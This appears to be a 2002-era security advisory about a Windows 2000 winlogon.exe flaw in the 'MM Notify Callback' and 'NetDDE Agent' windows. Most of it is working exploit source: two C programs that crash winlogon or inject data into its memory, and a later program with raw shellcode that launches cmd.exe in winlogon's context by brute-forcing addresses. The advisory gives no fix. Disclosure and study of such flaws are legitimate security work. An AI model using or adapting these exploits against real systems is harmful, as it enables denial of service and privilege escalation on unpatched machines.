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COMMAND winlogon SYSTEMS AFFECTED Win2000 PROBLEM 'ryagin' found following. As well as recent "NetDDE Agent" window hosted by winlogon.exe, there is one another window: "MM Notify Callback". It is hosted by winmm.dll which is loaded into winlogon.exe. Windows procedure seems to handle few messages, WM_CREATE, WM_DESTROY, WM_CLOSE, WM_TIMER, and, the most interesting, WM_DEVICECHANGE. The primary role of WM_DEVICECHANGE message is informing the user-space environment about device plug/unplug and related issues. The "MM Notify Callback" window analyses only "MM Notify Callback" DBT_DEVICEARRIVAL [0x8000] and DBT_DEVICEREMOVECOMPLETE [0x8004] sub-messages (arriving from wParam). When it gots this messages, it reads data structure, interpreting lParam as pointer. Data structure must have value 0x00000005 at offset+0x4 and must have special GUID value at offset+0xC, and must have null-terminated uncode string ot offset+0x1C. This issue most probably cannot serve for executing code with SYSTEM priveleges, but this requires more accurate research. Quick look at winmm.dll code shows that supplied structure doesn't used in copy operations into random memory addresses, however, you can fill region of winlogon's memory with practically any user-supplied data (the only prohibited value is unicode 0x0000 string terminator). This can be used as shellcode for another winlogon's bug, for example. Nevertheless, by running exploit from the bottom of message, you can crash winlogon.exe with access violation. Thus have little value for ordinary Workstations and Servers, but can be used to DoS against Terminal Servers. Exploit 1: crashes winlogon with access violation Exploit 2: inject data string of 'ABCD' x 0x1000 (in unicode) into winlogon memory space ----- exploit 1------- #include <windows.h> #include <stdio.h> DWORD exploit[]={0x11223344,0x5, 0x55667788, 0x6994AD04,0x11D093EF,0xA000CCA3,0x963122C9 }; int main() { HWND hwnd=FindWindow("MM Notify Callback","MM Notify Callback"); printf("Window=%x\n",hwnd); SendMessage(hwnd, WM_DEVICECHANGE, 0x8000,0x00000000); // ^^^^^^^^^^ AV address return 0; } ----- exploit 2------- #include <windows.h> #include <stdio.h> DWORD exploit[]={0x11223344,0x5, 0x55667788, 0x6994AD04,0x11D093EF,0xA000CCA3,0x963122C9 }; int main() { DWORD *ptr; DWORD i,j; HWND hwnd=FindWindow("MM Notify Callback","MM Notify Callback"); printf("Window=%x\n",hwnd); ptr = (DWORD*)malloc(0x1000*4+sizeof(exploit)); for(i=0;i<sizeof(exploit)/sizeof(exploit[0]);i++) ptr[i]=exploit[i]; for(j=0;j<0x1000;j++) ptr[i+j]='ABCD'; SendMessage(hwnd, WM_DEVICECHANGE, 0x8000,(DWORD)ptr); return 0; } Update (21 October 2002) ====== Exploit W2K sp1-sp3 ... // /////////// Copyright © 2002 Serus //////////////// //mailto:serus@users.mns.ru // //This program check system on winlogon bug present //Only for Windows 2000 //This is for check use only! // #include <windows.h> #include <stdio.h> void main(int argc, char *argv[ ], char *envp[ ] ) { char *buf; DWORD Addr = 0; BOOL bExec = TRUE; unsigned char sc[] = { // my simple shellcode, it calls CreateProcess function, // executes cmd.exe on user`s desktop and creates mutex. 0x8B, 0xF4, 0x68, 0x53, 0x45, 0x52, 0x00, 0x8B, 0xDC, 0x54, 0x6A, 0x00, 0x6A, 0x00, 0xB8, 0xC8, 0xD7, 0xE8, 0x77, 0xFF, 0xD0, 0x8B, 0xE6, 0x6A, 0x00, 0x68, 0x2E, 0x65, 0x78, 0x65, 0x68, 0x00, 0x63, 0x6D, 0x64, 0x68, 0x61, 0x75, 0x6C, 0x74, 0x68, 0x5C, 0x44, 0x65, 0x66, 0x68, 0x53, 0x74, 0x61, 0x30, 0x68, 0x00, 0x57, 0x69, 0x6E, 0x8B, 0xD4, 0x42, 0xB9, 0x50, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xE2, 0xFC, 0x6A, 0x44, 0x83, 0xC4, 0x0C, 0x52, 0x83, 0xEC, 0x0C, 0x8B, 0xC4, 0x83, 0xC0, 0x10, 0x50, 0x8B, 0xC4, 0x83, 0xC0, 0x08, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x83, 0xC2, 0x10, 0x52, 0x6A, 0x00, 0xB8, 0x4D, 0xA4, 0xE9, 0x77, 0xFF, 0xD0, 0x8B, 0xE6, 0xC3 }; HWND hWnd; COPYDATASTRUCT cds; HMODULE hMod; DWORD ProcAddr; HANDLE hMutex; char mutname[4]; printf("\n\n==== GetAd by Serus (serus@users.mns.ru) ===="); // Get NetDDE Window hWnd = FindWindow("NDDEAgnt","NetDDE Agent"); if(hWnd == NULL) { MessageBox(NULL, "Couldn't find NetDDE agent window", "Error", MB_OK | MB_ICONSTOP); return; } // Get CreateProcessA and CreateMutexA entry addresses hMod = GetModuleHandle("kernel32.dll"); ProcAddr = (DWORD)GetProcAddress(hMod, "CreateProcessA"); if(ProcAddr == 0) { MessageBox(NULL, "Couldn't get CreateProcessA address", "Error", MB_OK | MB_ICONSTOP); return; } *(DWORD *)(sc + 86 + 21) = ProcAddr; ProcAddr = (DWORD)GetProcAddress(hMod, "CreateMutexA"); if(ProcAddr == 0) { MessageBox(NULL, "Couldn't get CreateProcessA address", "Error", MB_OK | MB_ICONSTOP); return; } *(DWORD *)(sc + 15) = ProcAddr; //Generate random Mutex name srand(GetTickCount()); do { mutname[0] = 97 + rand()%25; mutname[1] = 65 + rand()%25; mutname[2] = 65 + rand()%25; mutname[3] = 0; } while((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0); memcpy(sc + 3, mutname, 4); //Form buffer for SendMessage buf = (char *)malloc(1000); memset(buf, 0xC3, 1000); memcpy(buf, sc, sizeof(sc)); cds.cbData = 1000; cds.dwData = 0; cds.lpData=(PVOID)buf; //If first login //Send shellcode buffer SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds); //Try execute it at 0x0080FA78 PostMessage(hWnd, WM_TIMER, 1, (LPARAM)0x0080FA78); printf("\n\nTrying at 0x%X", 0x0080FA78); //If fails (perhaps not first login) //Try to bruteforce shellcode addresss for(Addr = 0x0120fa78; Addr < 0x10000000; Addr += 0x10000) { //If mutex exists, shellcode has been executed if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0) { //Success printf("\nSuccess!!!\n"); printf("\nWarning! You system has vulnerability!\n"); CloseHandle(hMutex); return; } printf("\rTrying at 0x%X", Addr); SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds); PostMessage(hWnd, WM_TIMER, 1, (LPARAM)Addr); } //Bug in winlogon not presents printf("\n\nBad luck! Reboot and try again.\n\n"); } SOLUTION Nothing yet.